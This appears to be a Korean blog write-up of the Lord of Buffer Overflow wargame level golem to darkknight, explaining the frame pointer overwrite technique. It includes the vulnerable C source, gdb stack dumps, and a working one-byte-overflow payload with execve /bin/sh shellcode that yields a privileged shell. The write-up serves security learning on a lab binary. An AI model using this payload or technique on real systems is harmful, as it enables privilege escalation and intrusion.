lob golem->darknight(level12) + FPO
반 넘게 달렸다
오늘은 FPO에 대해 간단하게 알아보자
FPO는 buffer+1만큼 쓸 수 있는 공간이 있고, main 외의 다른 함수가 있을 때 쓸 수 있는 기법이다
ebp는 스택 프레임의 한 기준점을 저장하고, esp는 ebp를 기준으로 증가해 다음 스택 포인터를 지정한다
그리고 eip는 다음 실행할 명령의 주소를 저장한다
main() 안에 함수 sub()가 있다고 쳐 보자
우선 main()이 호출되고 그 다음 main() 에서 sub()가 호출된다
여기서 내가 1바이트를 변경하면 sub()의 sfp부분의 값이 변경된다
이젠 이 sub()가 종료되면서 leave를 수행하게 될 것이다
leave는 esp 값을 ebp(sfp)가 있는 곳으로 이동시킨 후, sfp 값을 ebp에 저장하는 것이다.
따라서 leave가 수행되면 sfp에 들어있던 main()의 ebp 값이 현재의 ebp 값에 저장되고, esp 값은 sfp를 가르키고 있다가 pop ebp 명령을 만나 4가 증가한다. 이렇게 ret을 가르키게 되는 것이다
이때 esp는 sub()의 ebp, 즉 sfp를 가르키게 될 것이고, pop ebp, 즉, main()의
ebp를 돌려 받는 과정에서 변경된 sfp값을 가져오게 되므로 main()의 ebp는 다른 곳을 가르키게 된다
자세한 문서는 요기
그럼 이 문서를 이해했다는 가정 하에 문제를 풀어보자
#include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); } |
FPO 기법을 쓸 수 있는 코드이다
(gdb) b *problem_child+24 (gdb) r `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'` Starting program: /tmp/darkknight `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'` Breakpoint 1, 0x8048458 in problem_child () (gdb) x/100x $esp 0xbffffa74: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa84: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa94: 0x41414141 0x41414141 0xbffffa00 0x0804849e 0xbffffaa4: 0xbffffbf8 0xbffffac8 0x400309cb 0x00000003 0xbffffab4: 0xbffffaf4 0xbffffb04 0x40013868 0x00000003 0xbffffac4: 0x08048390 0x00000000 0x080483b1 0x0804846c 0xbffffad4: 0x00000003 0xbffffaf4 0x080482e4 0x080484dc 0xbffffae4: 0x4000ae60 0xbffffaec 0x40013e90 0x00000003 ... |
argv[1]에는 A(dummy) 40개와 sfp에 넣을 주소를 가정해서 \x00을 넣어주고
argv[2]에는 nop을 많이많이 넣어준다
[golem@localhost /tmp]$ ./darkkn1ght `python -c 'print "A"*41'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒C▒▒▒▒▒▒▒ @ bffffac4 |
정확한 주소를 알아내기 위해 새롭게 파일 하나를 만들어서 buffer의 주소를 출력하게 해 놓았다
[golem@localhost golem]$ ./darkknight `python -c 'print "\xcc\xfa\xff\xbf"*2+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xc4"'` ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ ̀▒▒▒▒▒C▒▒▒▒▒▒▒ @ bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ my-pass euid = 512 new attacker bash$ |
페이로드를 설명하자면
buffer 첫 주소를 두 번 넣고(8bytes) nop 7bytes 쉘코드 25bytes를 넣고(합쳐서 40bytes)
마지막 1byte를 버퍼의 첫 주소로 넣어준다
여기서 페이로드 처음에 주소를 두 번 넣은 이유는
leave-ret이 한 번 일어나면서 EBP가 변조된 EBP로 이동되는데, 한번 더 leave-ret을 하면 pop ebp를 실행한다. 이 때 ret에서 pop을 할 경우 BUF의 첫 4바이트를 참조해야 하기 때문이다.
피드백은 댓글로